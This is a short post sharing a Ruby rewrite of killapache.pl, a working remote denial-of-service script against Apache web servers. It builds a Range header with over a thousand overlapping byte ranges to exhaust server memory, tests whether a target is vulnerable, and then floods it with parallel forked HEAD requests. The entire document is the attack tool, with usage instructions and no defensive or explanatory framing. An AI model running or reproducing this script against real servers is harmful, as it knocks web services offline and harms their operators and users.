Just a try to rewrite killapache.pl

killapache.rb

#!/usr/bin/env ruby

require 'rubygems'
require 'net/http'
require 'forkmanager'

def usage
  puts "Apache Remote Denial of Service (memory exhaustion)\nusage: ruby killapache.rb <url> [numforks]\nexample: ruby killapache.rb http://www.example.com/images/photo.jpg 50\n"
end

def handle_errors
  begin
    yield
  rescue Errno::ECONNRESET
    puts "Error: Connection reset by peer"
  rescue Timeout::Error
    puts "Error: Connection timeout"
  rescue Errno::ECONNREFUSED
    puts "Error: Connection refused"
  end
end

def killapache
  puts "Sending HEAD requests to #{@url.host} using #{@numforks} forks...\n"
  @pm = Parallel::ForkManager.new(@numforks)
  0.upto(@numforks) do |n|
    @pm.start do
      handle_errors { @http.head(@url.path, @headers) }
    end
  end
  @pm.wait_all_children
  puts "Sent.\n"
end

def testapache
  handle_errors do
    response = @http.head(@url.path, @headers)
    response.class.to_s =~ /Partial/ ? true : false
  end
end

if ARGV.empty?
  usage
  exit
else
  @url, @numforks = ARGV
  @url = URI.parse(@url)
  @numforks = (@numforks || 50).to_i
  @headers = { 'Range' => "bytes=0-" + (0..1300).map { |k| ",5-#{k}" }.join, 'Accept-Encoding' => 'gzip' }
  @http = Net::HTTP.new(@url.host, @url.port)
  @http.open_timeout = @http.read_timeout = 15
  puts testapache ? "This host is ready to recieve.\n" : "This host is protected.\n"
  exit unless testapache
  killapache
end